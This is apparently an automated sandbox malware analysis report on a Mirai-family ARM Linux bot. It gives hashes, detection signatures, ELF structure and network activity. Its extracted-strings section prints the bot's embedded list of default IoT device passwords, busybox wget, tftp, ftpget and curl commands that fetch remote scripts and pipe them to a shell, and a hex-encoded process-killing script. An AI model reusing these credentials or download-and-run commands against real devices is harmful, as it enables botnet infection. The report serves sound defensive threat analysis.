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Linux Analysis Report
la.bot.arm5.elf

Overview

General Information

Sample name:la.bot.arm5.elf
Analysis ID:1545037
MD5:402a41213c557b7da36864d3504d3613
SHA1:ad3970bcae002b67eded57d21d372d068ccfc73a
SHA256:802f6a409b3006bf46fae9806dffd56757b24114b8d0ad851e27160c79c88185
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1545037
Start date and time:2024-10-30 02:08:07 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 22s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.arm5.elf
Detection:MAL
Classification:mal48.linELF@0/0@2/0
  • VT rate limit hit for: la.bot.arm5.elf
Command:/tmp/la.bot.arm5.elf
PID:5425
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.arm5.elf (PID: 5425, Parent: 5351, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/la.bot.arm5.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: la.bot.arm5.elfReversingLabs: Detection: 31%
Source: la.bot.arm5.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm5.elfString: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient/dev/watchdog/dev/misc/watchdogM
Source: la.bot.arm5.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: /tmp/la.bot.arm5.elf (PID: 5425)Socket: 127.0.0.1:1234Jump to behavior
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm5.elfString found in binary or memory: http:///curl.sh
Source: la.bot.arm5.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@2/0
Source: /tmp/la.bot.arm5.elf (PID: 5425)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm5.elf, 5425.1.00007fff3290e000.00007fff3292f000.rw-.sdmpBinary or memory string: Dzx86_64/usr/bin/qemu-arm/tmp/la.bot.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm5.elf
Source: la.bot.arm5.elf, 5425.1.000056496b4bb000.000056496b609000.rw-.sdmpBinary or memory string: #MkIVP%MkIVP"MkIV!/etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5425.1.000056496b4bb000.000056496b609000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5425.1.00007fff3290e000.00007fff3292f000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm5.elf, 5425.1.00007fff3290e000.00007fff3292f000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
la.bot.arm5.elf32%ReversingLabsLinux.Trojan.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.25
truefalse
    unknown
    NameSourceMaliciousAntivirus DetectionReputation
    http:///wget.shla.bot.arm5.elffalse
      unknown
      http:///curl.shla.bot.arm5.elffalse
        unknown
        No contacted IP infos
        No context
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        daisy.ubuntu.comla.bot.mips.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        la.bot.arm7.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        arm6.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        sshd.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        belks.arm.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.24
        belks.arm6.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.25
        belks.arm5.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        belks.arm7.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.25
        belks.mips.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.24
        No context
        No context
        No context
        No created / dropped files found
        File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
        Entropy (8bit):6.013785942411546
        TrID:
        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
        File name:la.bot.arm5.elf
        File size:75'052 bytes
        MD5:402a41213c557b7da36864d3504d3613
        SHA1:ad3970bcae002b67eded57d21d372d068ccfc73a
        SHA256:802f6a409b3006bf46fae9806dffd56757b24114b8d0ad851e27160c79c88185
        SHA512:381db10c2166dfdffacb2a17c9c5d59be643679145d3b1f8982f582a20b676ab6a94668d36a304c99378928fc04ec25603696642a91a70f467eae842c9ff3cc3
        SSDEEP:1536:uXFhc/eP2rOHdPZYHk9h+n+7X75SkgCrEjRmTznzsTa:MQ/eP2udPZYHk90n+7tjrEjcn
        TLSH:EA730785B892DA6BC6D842BFFE0F82CD372163D8E2DE3213CD14AF55378A55B096B141
        File Content Preview:.ELF...a..........(.........4....#......4. ...(.......................................... ... ... ..\....E..........Q.td..................................-...L."....>..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

        ELF header

        Class:ELF32
        Data:2's complement, little endian
        Version:1 (current)
        Machine:ARM
        Version Number:0x1
        Type:EXEC (Executable file)
        OS/ABI:ARM - ABI
        ABI Version:0
        Entry Point Address:0x8190
        Flags:0x2
        ELF Header Size:52
        Program Header Offset:52
        Program Header Size:32
        Number of Program Headers:3
        Section Header Offset:74652
        Section Header Size:40
        Number of Section Headers:10
        Header String Table Index:9
        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
        NULL0x00x00x00x00x0000
        .initPROGBITS0x80940x940x180x00x6AX004
        .textPROGBITS0x80b00xb00xfc2c0x00x6AX0016
        .finiPROGBITS0x17cdc0xfcdc0x140x00x6AX004
        .rodataPROGBITS0x17cf00xfcf00x1f280x00x2A004
        .ctorsPROGBITS0x220000x120000x80x00x3WA004
        .dtorsPROGBITS0x220080x120080x80x00x3WA004
        .dataPROGBITS0x220140x120140x3480x00x3WA004
        .bssNOBITS0x2235c0x1235c0x428c0x00x3WA004
        .shstrtabSTRTAB0x00x1235c0x3e0x00x0001
        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
        LOAD0x00x80000x80000x11c180x11c186.08150x5R E0x8000.init .text .fini .rodata
        LOAD0x120000x220000x220000x35c0x45e83.80420x6RW 0x8000.ctors .dtors .data .bss
        GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
        TimestampSource PortDest PortSource IPDest IP
        Oct 30, 2024 02:08:53.015178919 CET4944553192.168.2.138.8.8.8
        Oct 30, 2024 02:08:53.015216112 CET4836553192.168.2.138.8.8.8
        Oct 30, 2024 02:08:53.022867918 CET53483658.8.8.8192.168.2.13
        Oct 30, 2024 02:08:53.022882938 CET53494458.8.8.8192.168.2.13
        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
        Oct 30, 2024 02:08:53.015178919 CET192.168.2.138.8.8.80x3d7aStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
        Oct 30, 2024 02:08:53.015216112 CET192.168.2.138.8.8.80x9e82Standard query (0)daisy.ubuntu.com28IN (0x0001)false
        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
        Oct 30, 2024 02:08:53.022882938 CET8.8.8.8192.168.2.130x3d7aNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
        Oct 30, 2024 02:08:53.022882938 CET8.8.8.8192.168.2.130x3d7aNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

        System Behavior

        Start time (UTC):01:08:51
        Start date (UTC):30/10/2024
        Path:/tmp/la.bot.arm5.elf
        Arguments:/tmp/la.bot.arm5.elf
        File size:4956856 bytes
        MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1